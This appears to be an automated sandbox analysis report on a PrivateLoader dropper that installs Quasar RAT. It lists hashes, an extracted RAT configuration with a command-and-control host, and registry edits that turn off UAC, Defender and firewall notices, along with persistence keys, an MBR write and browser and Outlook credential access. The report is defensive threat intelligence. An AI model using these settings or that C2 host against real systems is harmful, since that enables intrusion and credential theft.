privateloader | 0d7b33b18e6e288da39aaf22657d4b5894651127b68cc954ea2b00350185c34a

Analysis

max time kernel
110s
max time network
113s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
23-05-2024 23:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

vir.exe
Size

36.2MB
MD5

e0668c83cc66ba89747c6d676879745b
SHA1

f55c70e669a3397f17f348f2922d54da8785e51a
SHA256

0d7b33b18e6e288da39aaf22657d4b5894651127b68cc954ea2b00350185c34a
SHA512

4299563811361b9600f6d31491f351ec9d5f897b2af6734021651d0a3b5bf8407b33b5f96ede1ac1d9e738cb9fee161d92ddf2c039230490da2d84a0ad9cb34f
SSDEEP

786432:t4RerlLa3nwEwrkACTe6YQbjGEhM67HXkvj:OulW3wEoA3HUr

Score

10^/10

privateloader quasar romka bootkit collection discovery evasion execution loader persistence spyware stealer themida trojan upx

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

romka

jozzu420-51305.portmap.host:51305

Mutex

0445c342-b551-411c-9b80-cd437437f491

Attributes

encryption_key
E1BF1D99459F04CAF668F054744BC2C514B0A3D6
install_name
Romilyaa.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Windows 10 Boot
subdirectory
SubDir

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Program Files (x86)\\rover\\rover.exe"	Rover.exe

Modifies firewall policy service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	JHA77TwCrWblNJp2Ict3W8t5.exe

Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	tyaptijqml.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	tyaptijqml.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000100000002a9f1-1820.dat	family_quasar
behavioral1/memory/2888-1942-0x0000000000A50000-0x0000000000D74000-memory.dmp	family_quasar

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Rover.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Windows security bypass 2 TTPs 8 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	tyaptijqml.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	tyaptijqml.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	tyaptijqml.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	tyaptijqml.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	JHA77TwCrWblNJp2Ict3W8t5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\vir_d1a18f31-24ae-48e8-a458-f0e6851f90ff\the.exe = "0"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	tyaptijqml.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	JHA77TwCrWblNJp2Ict3W8t5.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
142	428	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1528	powershell.exe
2036	powershell.exe
2644	powershell.exe
1116	powershell.exe
4460	powershell.exe
5000	powershell.EXE
3480	powershell.exe
4484	powershell.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	tyaptijqml.exe

Downloads MZ/PE file

.NET Reactor proctector 35 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/3560-48-0x0000000006050000-0x00000000065A0000-memory.dmp	net_reactor
behavioral1/memory/3560-52-0x0000000005AF0000-0x000000000603E000-memory.dmp	net_reactor
behavioral1/memory/3560-58-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-65-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-67-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-83-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-93-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-103-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-95-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-86-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-84-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-90-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-88-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-81-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-79-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-76-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-74-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-72-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-63-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-104-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-100-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-98-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-96-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-70-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-61-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-114-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-59-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-116-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-107-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-112-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-110-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-108-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-122-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-120-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor
behavioral1/memory/3560-118-0x0000000005AF0000-0x0000000006039000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	JHA77TwCrWblNJp2Ict3W8t5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	JHA77TwCrWblNJp2Ict3W8t5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Control Panel\International\Geo\Nation	BUCIlqG.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VTwf03qbmvjLIUMGfzoOwLMk.bat	installutil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MKXKpkUwPXoCUkcBhZUg08Id.bat	installutil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4zoTiJu6iHXZhCcSWpP1DMfI.bat	installutil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\9WsldmwKYFoYLvHRVuRrAOuV.bat	installutil.exe

Executes dropped EXE 20 IoCs

pid	Process
3380	loader.exe
3560	Rover.exe
4844	psiphon3.exe
2888	scary.exe
5000	the.exe
2408	ac3.exe
2708	vXjkY8Z3Kz4Rvcef1hZ8syyc.exe
3572	jaffa.exe
2256	tyaptijqml.exe
3020	xaiysollkkahusz.exe
3984	zhwfpelw.exe
468	ykzjefpcbszge.exe
2104	zhwfpelw.exe
2208	JHA77TwCrWblNJp2Ict3W8t5.exe
3876	cfhBRiUbd5AirZOrt8DCJlCj.exe
4776	Install.exe
4964	Install.exe
3492	n9d9AQtLIi9MHW0KzijcJ4wf.exe
3960	7pVssoRR_gaioDJx0EHG.exe
3960	BUCIlqG.exe

Loads dropped DLL 2 IoCs

pid	Process
2708	vXjkY8Z3Kz4Rvcef1hZ8syyc.exe
428	rundll32.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4236	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x000100000002ac46-4325.dat	themida
behavioral1/memory/2208-4339-0x0000000140000000-0x0000000140E05000-memory.dmp	themida
behavioral1/memory/2208-5448-0x0000000140000000-0x0000000140E05000-memory.dmp	themida

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000100000002a9e7-240.dat	upx
behavioral1/memory/4844-312-0x0000000000700000-0x0000000001D27000-memory.dmp	upx
behavioral1/memory/4844-1692-0x0000000000700000-0x0000000001D27000-memory.dmp	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirstRunDisabled = "1"	tyaptijqml.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	tyaptijqml.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	tyaptijqml.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	JHA77TwCrWblNJp2Ict3W8t5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	tyaptijqml.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	tyaptijqml.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	tyaptijqml.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	n9d9AQtLIi9MHW0KzijcJ4wf.exe
Key opened	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	n9d9AQtLIi9MHW0KzijcJ4wf.exe
Key opened	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	n9d9AQtLIi9MHW0KzijcJ4wf.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\uhynjnsq = "tyaptijqml.exe"	xaiysollkkahusz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\aoasumby = "xaiysollkkahusz.exe"	xaiysollkkahusz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "ykzjefpcbszge.exe"	xaiysollkkahusz.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7 = "C:\\Users\\Admin\\AppData\\Local\\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\\AdobeUpdaterV202.exe"	n9d9AQtLIi9MHW0KzijcJ4wf.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	JHA77TwCrWblNJp2Ict3W8t5.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Rover.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Rover.exe

Drops Chrome extension 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	BUCIlqG.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\o:	tyaptijqml.exe
File opened (read-only)	\??\z:	tyaptijqml.exe
File opened (read-only)	\??\s:	zhwfpelw.exe
File opened (read-only)	\??\t:	zhwfpelw.exe
File opened (read-only)	\??\z:	zhwfpelw.exe
File opened (read-only)	\??\w:	tyaptijqml.exe
File opened (read-only)	\??\e:	zhwfpelw.exe
File opened (read-only)	\??\r:	zhwfpelw.exe
File opened (read-only)	\??\k:	zhwfpelw.exe
File opened (read-only)	\??\q:	tyaptijqml.exe
File opened (read-only)	\??\a:	zhwfpelw.exe
File opened (read-only)	\??\v:	zhwfpelw.exe
File opened (read-only)	\??\r:	zhwfpelw.exe
File opened (read-only)	\??\i:	tyaptijqml.exe
File opened (read-only)	\??\j:	tyaptijqml.exe
File opened (read-only)	\??\r:	tyaptijqml.exe
File opened (read-only)	\??\q:	zhwfpelw.exe
File opened (read-only)	\??\v:	zhwfpelw.exe
File opened (read-only)	\??\a:	zhwfpelw.exe
File opened (read-only)	\??\j:	zhwfpelw.exe
File opened (read-only)	\??\l:	zhwfpelw.exe
File opened (read-only)	\??\p:	zhwfpelw.exe
File opened (read-only)	\??\g:	tyaptijqml.exe
File opened (read-only)	\??\n:	tyaptijqml.exe
File opened (read-only)	\??\y:	zhwfpelw.exe
File opened (read-only)	\??\e:	tyaptijqml.exe
File opened (read-only)	\??\t:	zhwfpelw.exe
File opened (read-only)	\??\u:	tyaptijqml.exe
File opened (read-only)	\??\h:	zhwfpelw.exe
File opened (read-only)	\??\n:	zhwfpelw.exe
File opened (read-only)	\??\l:	zhwfpelw.exe
File opened (read-only)	\??\n:	zhwfpelw.exe
File opened (read-only)	\??\y:	zhwfpelw.exe
File opened (read-only)	\??\m:	zhwfpelw.exe
File opened (read-only)	\??\h:	zhwfpelw.exe
File opened (read-only)	\??\i:	zhwfpelw.exe
File opened (read-only)	\??\b:	zhwfpelw.exe
File opened (read-only)	\??\o:	zhwfpelw.exe
File opened (read-only)	\??\u:	zhwfpelw.exe
File opened (read-only)	\??\w:	zhwfpelw.exe
File opened (read-only)	\??\e:	zhwfpelw.exe
File opened (read-only)	\??\m:	zhwfpelw.exe
File opened (read-only)	\??\y:	tyaptijqml.exe
File opened (read-only)	\??\i:	zhwfpelw.exe
File opened (read-only)	\??\k:	zhwfpelw.exe
File opened (read-only)	\??\x:	zhwfpelw.exe
File opened (read-only)	\??\p:	zhwfpelw.exe
File opened (read-only)	\??\m:	tyaptijqml.exe
File opened (read-only)	\??\a:	tyaptijqml.exe
File opened (read-only)	\??\t:	tyaptijqml.exe
File opened (read-only)	\??\q:	zhwfpelw.exe
File opened (read-only)	\??\g:	zhwfpelw.exe
File opened (read-only)	\??\w:	zhwfpelw.exe
File opened (read-only)	\??\v:	tyaptijqml.exe
File opened (read-only)	\??\g:	zhwfpelw.exe
File opened (read-only)	\??\k:	tyaptijqml.exe
File opened (read-only)	\??\j:	zhwfpelw.exe
File opened (read-only)	\??\u:	zhwfpelw.exe
File opened (read-only)	\??\x:	zhwfpelw.exe
File opened (read-only)	\??\b:	tyaptijqml.exe
File opened (read-only)	\??\p:	tyaptijqml.exe
File opened (read-only)	\??\s:	tyaptijqml.exe
File opened (read-only)	\??\b:	zhwfpelw.exe
File opened (read-only)	\??\s:	zhwfpelw.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	pastebin.com
12	pastebin.com

Looks up external IP address via web service 6 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
50	api.myip.com
51	ipinfo.io
79	ipinfo.io
115	ipinfo.io
10	api.myip.com
20	ipinfo.io

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCScan = "0"	tyaptijqml.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable = "4294967197"	tyaptijqml.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	vXjkY8Z3Kz4Rvcef1hZ8syyc.exe

AutoIT Executable 9 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000100000002a9db-2998.dat	autoit_exe
behavioral1/files/0x000100000002a9de-4188.dat	autoit_exe
behavioral1/files/0x000400000002ac37-4211.dat	autoit_exe
behavioral1/files/0x000100000002ac3c-4234.dat	autoit_exe
behavioral1/files/0x000100000002ac3d-4240.dat	autoit_exe
behavioral1/files/0x000100000002ac3b-4233.dat	autoit_exe
behavioral1/files/0x000100000002ac5c-4553.dat	autoit_exe
behavioral1/files/0x000100000002ac93-5238.dat	autoit_exe
behavioral1/files/0x000100000002ac93-5274.dat	autoit_exe

Drops file in System32 directory 45 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	BUCIlqG.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	BUCIlqG.exe
File opened for modification	C:\Windows\System32\GroupPolicy	JHA77TwCrWblNJp2Ict3W8t5.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	JHA77TwCrWblNJp2Ict3W8t5.exe
File opened for modification	C:\Windows\SysWOW64\ykzjefpcbszge.exe	jaffa.exe
File opened for modification	\??\c:\Windows\SysWOW64\MSDRM\MsoIrmProtector.doc.exe	zhwfpelw.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	BUCIlqG.exe
File created	C:\Windows\SysWOW64\tyaptijqml.exe	jaffa.exe
File opened for modification	C:\Windows\SysWOW64\tyaptijqml.exe	jaffa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326	BUCIlqG.exe
File created	C:\Windows\SysWOW64\xaiysollkkahusz.exe	jaffa.exe
File created	\??\c:\Windows\SysWOW64\MSDRM\MsoIrmProtector.doc.exe	zhwfpelw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	BUCIlqG.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	JHA77TwCrWblNJp2Ict3W8t5.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686	BUCIlqG.exe
File created	C:\Windows\SysWOW64\ykzjefpcbszge.exe	jaffa.exe
File opened for modification	C:\Windows\SysWOW64\msvbvm60.dll	tyaptijqml.exe
File opened for modification	C:\Windows\SysWOW64\zhwfpelw.exe	jaffa.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	JHA77TwCrWblNJp2Ict3W8t5.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	BUCIlqG.exe
File opened for modification	C:\Windows\SysWOW64\xaiysollkkahusz.exe	jaffa.exe
File created	C:\Windows\SysWOW64\zhwfpelw.exe	jaffa.exe
File opened for modification	\??\c:\Windows\SysWOW64\MSDRM\MsoIrmProtector.doc.exe	zhwfpelw.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2208	JHA77TwCrWblNJp2Ict3W8t5.exe
2208	JHA77TwCrWblNJp2Ict3W8t5.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1528 set thread context of 2044	1528	powershell.exe	124
PID 3960 set thread context of 1116	3960	7pVssoRR_gaioDJx0EHG.exe	256

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\rover\Jump.wav	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_10Idle\_10Idle.035.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Tired\Tired.011.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_3Idle\_3Idle.023.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\_4Idle\_4Idle.008.png	Rover.exe
File created	C:\Program Files (x86)\rover\_6Idle\_6Idle.003.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Lick\Lick.015.png	Rover.exe
File created	C:\Program Files (x86)\rover\Tired\Tired.004.png	Rover.exe
File opened for modification	C:\Program Files (x86)\rover\Speak\Speak.001.png	Rover.exe
File created	C:\Program Files (x86)\rover\Eat\Eat.010.png	Rover.exe
